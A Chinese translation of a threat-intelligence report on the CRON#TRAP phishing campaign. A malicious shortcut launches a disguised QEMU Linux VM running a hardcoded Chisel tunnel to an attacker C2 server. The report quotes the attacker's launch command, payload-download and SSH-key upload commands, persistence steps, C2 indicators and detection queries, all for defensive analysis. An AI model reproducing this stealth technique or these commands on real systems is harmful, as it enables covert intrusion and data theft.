恶意软件最新手段:模拟linux环境进行隐匿
CRON#TRAP:模拟 Linux 环境是恶意软件攻击的最新手段
2024 年 11 月 4 日
在一个相当新颖的攻击链中,攻击者部署定制的模拟 QEMU Linux 盒以在端点上驻留,并通过网络钓鱼电子邮件传递。
Securonix 威胁研究团队一直在追踪一个有趣的攻击活动,该活动利用了恶意快捷方式 (.lnk) 文件。执行时,此文件会提取并启动通过 QEMU 模拟的轻量级自定义 Linux 环境。
CRON#TRAP 活动尤其令人担忧的是,模拟的 Linux 实例预先配置了一个后门,可自动连接到攻击者控制的命令和控制 (C2) 服务器。此设置允许攻击者在受害者的机器上保持隐秘存在,在隐蔽的环境中进行进一步的恶意活动,这使得传统防病毒解决方案难以检测。由于 QEMU 是合法软件,通常用于开发和研究,因此它的存在通常不会触发任何安全警报。
不幸的是,我们无法确定此次攻击活动的归因或受害者。但是,根据样本遥测数据,大多数来源似乎来自美国和欧洲。此外,根据整个攻击活动中使用的措辞,并考虑到命令和控制服务器位于美国境内,我们可以低到中等程度地确信北美可能是主要目标。
在开始之前,我们先来回顾一下。那么 QEMU 是什么?它如何被恶意利用?
简而言之,QEMU(Quick Emulator)是一种合法的开源虚拟化工具,允许模拟各种硬件和处理器架构,使它们能够在虚拟化环境中运行不同的操作系统或应用程序。它可以模拟 x86、ARM 和 PowerPC 等处理器,使其适用于测试、开发和研究。在 CRON#TRAP 活动中,攻击者选择模拟Tiny Core Linux的 Linux 安装。据我们所知,这是攻击者首次将此工具用于除Cryptomining之外的恶意目的。
初始感染
虽然我们的团队无法确定攻击的原始来源,但我们认为攻击始于一封包含下载 zip 文件的链接的网络钓鱼电子邮件。该主题似乎与调查有关,因为 ZIP 文件的名称和所含的快捷方式文件分别名为“OneAmerica Survey.zip”和“OneAmerica Survey.lnk”。根据文件命名法,很明显威胁行为者伪装成 OneAmerica 金融机构,这可能表明目标人群。
快速浏览一下 zip 文件,对于一个钓鱼文档来说,它绝对非常庞大。文件大小高达285MB,这可能会引起一些用户的怀疑。当用户提取存档时,他们会看到一个文件(快捷方式)“OneAmerica Survey”和一个包含整个 QEMU 安装目录的“数据”目录。
数据文件夹的全部内容都应用了隐藏属性,因此除非用户启用了“查看隐藏文件”资源管理器选项,否则他们将看不到任何包含的内容。
图 1:OneAmerica Survey.zip 的内容在用户面前显示
查看快捷方式文件,它似乎链接到系统的 PowerShell 进程并执行一个简单的命令。该命令获取下载的 zip 文件并将其内容(重新)提取到用户的配置文件目录中名为“datax”的目录中。然后它执行包含以下内容的 start.bat:
“ $home\datax\data\start.ba
t ”
图2:LNK(快捷方式)文件分析:命令和进程详细信息
批处理文件 start.bat 完成两项任务。首先,它使用 explorer.exe 向用户显示“服务器错误”,暗示调查链接或 URL 在服务器端以某种方式损坏。此时用户可能会忽略该错误。下图中可以看到 start.bat 代码的全部内容。其次,该脚本执行 QEMU 进程和命令行以启动模拟的 Linux 环境。在投放网络钓鱼诱饵之前,攻击者将进程 qemu.exe 重命名为 fontdiag.exe。
图3:start.bat的内容
诱饵文件
该图像由 explorer.exe 进程执行。由于该图像通过 HTTPS 托管在远程服务器上,因此用户的默认浏览器将打开并显示该图像。该图像是一个简单的服务器错误消息。虽然从技术上讲没有错误,而只是错误的图像,但攻击者希望用户会忽略它。该图像托管在公共网站上:
hxxps://forum.hestiacp[.]com/uploads/default/original/2X/9/9aae76309a614c85f880512d8fe7df158fec52cc.png
图4:诱饵图像(伪装成服务器错误)
QEMU:挂载并执行
如前所述,使用start.bat脚本重命名并执行QEMU进程。此QEMU进程是合法进程,并使用有效的数字证书进行数字签名。使用以下命令执行Linux box:
1 | START /B %HOMEPATH%\datax\data\fontdiag.exe -drive file=%HOMEPATH%\datax\data\tc.img -nographic & |
使用“-nographic”参数意味着 Linux 虚拟环境将在后台静默运行。为了便于分析,我们删除了它以便与操作系统交互。幸运的是,由于我们不知道用户的密码,因此启用了自动登录!此时,我们可以与操作系统交互。
PivotBox:探索攻击者的 Linux 环境
如下图所示,MOTD 横幅显示“PivotBox”以及选项命令。这些似乎是攻击者自定义的,因为我们看到对 /etc/motd 和用户的 .ashrc 文件进行了许多编辑(请参阅下面的历史记录部分)。此文件是用户对 Almquist Shell(通常称为 ash)的配置文件配置,Almquist Shell 是一种常用于类 Unix 操作系统的轻量级 shell。
options 命令产生了两个“特殊命令” get-host-shell
,get-host-user
允许与主机交互。
图 5:“PivotBox”的屏幕截图——自定义 Tiny Core Linux QEMU 实例
攻击者创建的别名get-host-shell
尝试通过启动 SSH 连接在主机上生成交互式 shell。该命令使用存储在 QEMU 特定文件中的信息,/sys/firmware/qemu_fw_cfg/by_name/opt/usercontext/raw
其中包含用户上下文信息。
该命令指向 IP 10.0.2.2,这是虚拟化环境中主机-客户机通信的通用 IP,它作为主机环回接口的别名。
get-host-user Alias 通过读取 usercontext/raw 来获取并显示 QEMU 实例在主机上运行的用户名或上下文。
探索 PivotBox 的命令历史
Linux 默认会将用户执行的所有命令的记录存储在用户的配置文件目录中。由于使用的是 ash shell,我们很幸运地发现我们获得了创建 PivotBox Linux 映像的命令记录。通常,良好的 OPSEC(操作安全性)需要清除历史记录,尤其是当映像部署到其他地方时。我们不确定这是攻击者工作流程中的失误,还是他们根本不在乎。
图 6:攻击者的 .ash_history 文件部分截图
虽然还有很多东西需要解开,但让我们来看看我们发现的一些亮点。.ash_history 文件为我们提供了一系列步骤,这些步骤表明,通过在自己的环境中创建这个隐秘的工具包,可以进行高级持久性尝试。以下是关键操作的细分:
网络测试和初步侦察
命令: ping google.com
和目的:确认网络连接并尝试从基于 IP 的 URL(192.168.160.143)和 GitHub 托管的内容获取远程资源(可能是暂存文件或有效负载文件)。私有 192 地址似乎来自攻击者的测试基础设施。wget
工具安装和准备
命令: tce-load -wi [tool]
目的:此 Tiny Core Linux ( tce
) 命令安装 vim、file 和 openssh 等工具,表明攻击者正在准备修改、文件分析和 SSH 访问的环境。
含义: openssh 的安装暗示建立持久的远程访问。
有效载荷操纵和执行
命令: ./crondx, chmod +x crondx, ln -s /lib /lib64
目的:执行 crondx,可能在重命名或替换从攻击者的服务器或 GitHub 存储库下载的文件后执行。将 /lib 链接到 /lib64 表明尝试绕过环境依赖关系。
观察结果:
wget http://192.168.160.143:8000/crondx
下载一个文件用作 crondx,稍后以各种变体多次执行(. /crondx, /bin/bash ./crondx)
.
定期使用文件分析(文件 crondx)表示对每次下载进行测试或验证。
配置持久性和权限提升
命令: sudo vim /opt/bootlocal.sh, filetool.sh -b
目的:编辑 /opt/bootlocal.sh 用于在重启后保留更改。使用filetool.sh -b
是一种在 Tiny Core Linux 文件结构中保存更改的方法,确保保留对系统配置的任何修改。
持久性:通过修改和备份配置,可确保每次启动 QEMU 实例时都会重新加载或重新执行 crondx。
用于远程访问的 SSH 密钥操作
命令: ssh-keygen -t rsa
, curl --upload-file ~/.ssh/id_rsa.pub
目的:通过生成 SSH 密钥并上传公钥,攻击者旨在无需密码即可访问目标机器。
含义:这是一种经典的持久性技术,允许使用上传到已知位置的 SSH 密钥重新进入环境。
文件和环境管理
命令:tce-load -i 7z
,,目的:频繁使用存档工具展示了一种处理大文件传输或额外有效负载的方法,同时保持有组织的工作环境unzip
。7z x [archive.zip]
重复下载和提取的文件(例如 resolvd.zip、ch.zip)可能包含补充有效载荷或配置。
系统和用户枚举
命令: get-host-user, uname -a, df, ls -hal
目的:基本侦察,了解环境、识别用户信息和确认文件位置。
含义:这允许攻击者根据系统架构或可用空间调整操作,根据目标定制命令。
潜在的泄露或命令控制通道
命令:wget hxxps://free[.]keep.sh
目的:使用免费文件共享服务可以作为 SSH 密钥或其他敏感文件的泄露通道。
命令历史摘要:
就像下棋一样,攻击者在准备环境时心中有策略。他们系统地安装、测试和执行多个有效载荷和配置,每个都为下一阶段做准备。使用 bootlocal.sh 和 SSH 密钥表明他们的目标是在机器上保持可靠的存在。他们多次从各种 URL 下载 crondx 文件。原因尚不清楚,但我们推测他们可能一直在修改有效载荷,直到它按预期运行。
crondx (Chisel) 的分析
Linux QEMU 实例启动时执行的二进制文件位于 /home/tc/crondx。该文件是用 Go (golang) 编译的 64 位 ELF 可执行文件。下面可以找到一些高级详细信息。
图 7:crondx 文件概览
仔细检查后,该二进制文件似乎是一个预配置的 Chisel 客户端,旨在18.208.230[.]174
通过 websockets 连接到远程命令和控制 (C2) 服务器。通常,Chisel 客户端需要命令行参数来指定模式(客户端或服务器)和连接详细信息。然而,在这种情况下,攻击者选择将这些参数直接硬编码到二进制文件中,从而无需进行外部配置。由于 Chisel 的开源性质,这种定制非常简单,并允许二进制文件以最小的可见性执行,使检测更具挑战性。
根据 Chisel 的 GitHub,它是“ ……一个快速的 TCP/UDP 隧道,通过 HTTP 传输,通过 SSH 保护。单个可执行文件包括客户端和服务器。用 Go(golang)编写。Chisel 主要用于穿越防火墙,但它也可用于为您的网络提供安全的端点。 ”Chisel 的设计使其特别适合创建隐蔽的通信通道和穿越防火墙的隧道,通常在网络监控工具的监视下。
攻击者的方法有效地将这个 Chisel 客户端变成了一个完整的后门,使远程命令和控制流量能够流入和流出 Linux 环境。此设置为他们提供了对受感染系统的持久加密访问权限,使他们能够管理其他有效载荷或随意泄露数据。
总结…
CRON#TRAP 活动展示了一种复杂而新颖的方法,通过结合网络钓鱼、模拟环境和隐秘的预配置隧道来入侵系统。该活动之所以如此有趣,是因为它以一个相当标准的事件序列开始,即网络钓鱼诱饵,导致下载包含恶意 .lnk 快捷方式的大型 zip 文件。然而,一旦开始执行代码,事情就会发生戏剧性的转变。PowerShell 用于启动一系列事件,这些事件导致使用伪装的 QEMU 可执行文件启动整个模拟 Linux 环境。这种模拟的 Linux 环境使攻击者能够在传统防病毒解决方案的可见范围之外进行操作。
在这个环境中,一个高度定制的设置展开了。模拟系统包括一个 crondx (Chisel) 二进制文件,这是一种隧道工具,通常用于秘密地通过防火墙传递数据。Chisel 客户端预先配置了硬编码参数,允许它通过 websockets 自动连接到远程命令和控制 (C2) 服务器,为攻击者提供进入环境的持久后门。
攻击者在模拟 Linux 系统中的存在通过各种持久性技术得到进一步加强。通过修改启动脚本和使用 SSH 密钥,他们确保即使在重新启动后也能继续访问。命令别名(例如get-host-shell
和get-host-user
)允许他们在隔离的 QEMU 环境中直接与主机交互,这一功能可能旨在促进横向移动或数据泄露。
.ash_history
文件揭示了安装工具、收集系统信息和下载其他有效载荷的一系列操作,展示了一种模块化和自适应的攻击方法。攻击者对 QEMU 和 Chisel 等合法软件的依赖增加了额外的逃避层,因为这些工具在许多环境中不太可能触发警报。
Securonix 建议
- 由于此活动可能开始使用网络钓鱼电子邮件,因此请避免从外部来源下载文件或附件,尤其是来源未经请求时。常见的文件类型包括 zip、rar、iso 和 pdf。此外,下载这些类型文件的外部链接也同样危险。此活动期间使用了 Zip 文件,有时受密码保护。
- 监控常见的恶意软件暂存目录,尤其是全球可写目录中的脚本相关活动。在本次活动中,威胁行为者从用户的主目录中暂存了他们的 QEMU 实例:
%HOME%\datax
。 - 监控从异常位置执行的合法软件的使用情况。
- 我们强烈建议部署强大的端点日志记录功能来协助 PowerShell 检测。这包括利用其他进程级日志记录(例如Sysmon 和 PowerShell 日志记录)来增加日志检测覆盖范围。
- Securonix 客户可以使用下面的 Securonix 搜索查询来扫描端点。
MITRE ATT&CK 矩阵
策略 | 技术 |
---|---|
初始访问 | T1566.001:网络钓鱼:鱼叉式网络钓鱼附件 |
指挥与控制 | T1071.001:应用层协议:Web 协议T1132:数据编码T1572:协议隧道 |
防御规避 | T1027:模糊文件或信息T1036:伪装T1218:系统二进制代理执行T1564.006:隐藏工件:运行虚拟实例 |
执行 | T1059.001:命令和脚本解释器:PowerShellT1059.003:命令和脚本解释器:Windows 命令 ShellT1204.001:用户执行:恶意链接T1204.002:用户执行:恶意文件 |
持久性 | T1072:软件部署工具 |
泄漏 | T1041:通过 C2 通道渗漏 |
相关 Securonix 检测
相关狩猎查询
(删除 IP 地址或 URL 的方括号“[ ]”)
index = activity AND rg_functionality = "Next Generation Firewall" AND destinationaddress = "18.208.230[.]174"
index = activity AND rg_functionality = "Next Generation Firewall" AND destinationhostname CONTAINS "forum.hestiacp[.]com/uploads/default/original/2X/9/9aae76309a614c85f880512d8fe7df158fec52cc.png"
index = activity AND rg_functionality = "Endpoint Management Systems" AND (deviceaction = "File created" OR deviceaction = "File created (rule: FileCreate)") AND customstring49 ENDS WITH "\\datax\\data\\fontdiag.exe")
index = activity AND rg_functionality = "Endpoint Management Systems" AND (deviceaction = "Process Create" OR deviceaction = "Process Create (rule: ProcessCreate)" OR deviceaction = "ProcessRollup2" OR deviceaction = "Procstart" OR deviceaction = "Process" OR deviceaction = "Trace Executed Process") AND customstring48 = "QEMU machine emulators and tools" AND customstring54 NOT CONTAINS "\\Program Files"
C2 和基础设施
C2 地址 |
---|
18.208.230[.]174 |
github[.]com/yaniraenrica/testing/raw/main/resolvd.zip |
github[.]com/rustyshackleford72/testing/raw/main/cheezel-client |
github[.]com/gregtunny/data/raw/refs/heads/main/ch.zip |
forum.hestiacp[.]com/uploads/default/original/2X/9/9aae76309a614c85f880512d8fe7df158fec52cc.png |
参考:
- LoudMiner:破解版 VST 软件中的跨平台挖矿
https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/
分析文件/哈希值
文件名 | SHA256 |
---|---|
OneAmerica 调查.zip | CE26AAC9BA7BE60BFB998BA6ADD6B34DA5A68506E9FEA9844DC44BAFE3CAB676 |
OneAmerica 调查.lnk | 0618BB997462F350BC4402C1A5656B38BEDC278455823AC249FD5119868D3DF4 |
启动脚本 | 9FFAD9CF6D93B21BB0CA15DE9AB9E782E78F2B6356D05FB55FB95F55BEC9FC04002f9cd9ffa4b81301d003acd9fb3fbba1262e593b4f2e56a085b62a50e76510 |
tc.img | 5A8BC06587CE40B3A8D8DD4037D0EF272EFC64A69E21F6689FFE3F5FBB04A4684C91070877C6D116F5A27EFADDBBFBC339455628E9D6585A4EA5F9B6972BF92B |
字体诊断.zip | BC7A34379602F9F061BDB94EC65E8E46DA0257D511022A17D2555ADBD4B1DD38 |
克朗德克斯 | 3E6A47DA0A226A4C98FB53A06EC1894B4BFD15E73D0CEA856B7D2A001CADA7E9 |
数据文件 | 9A33EA831EDF83CB8775311963F52299F1488A89651BD3471CC8F1C70F08A36C82A9747485FDD60360D28CD73671F171A8312B7D68B26FE1E2D472EB97C4FE59F4229128EF642D299F7AB5FBCB6DE75A17D12F30F22A3985044C8B1B44F1768F6903BDF7F4A22ECFDDBAEE0B16E3DEE85DBB169AA446094BB3D1B75526677B6C |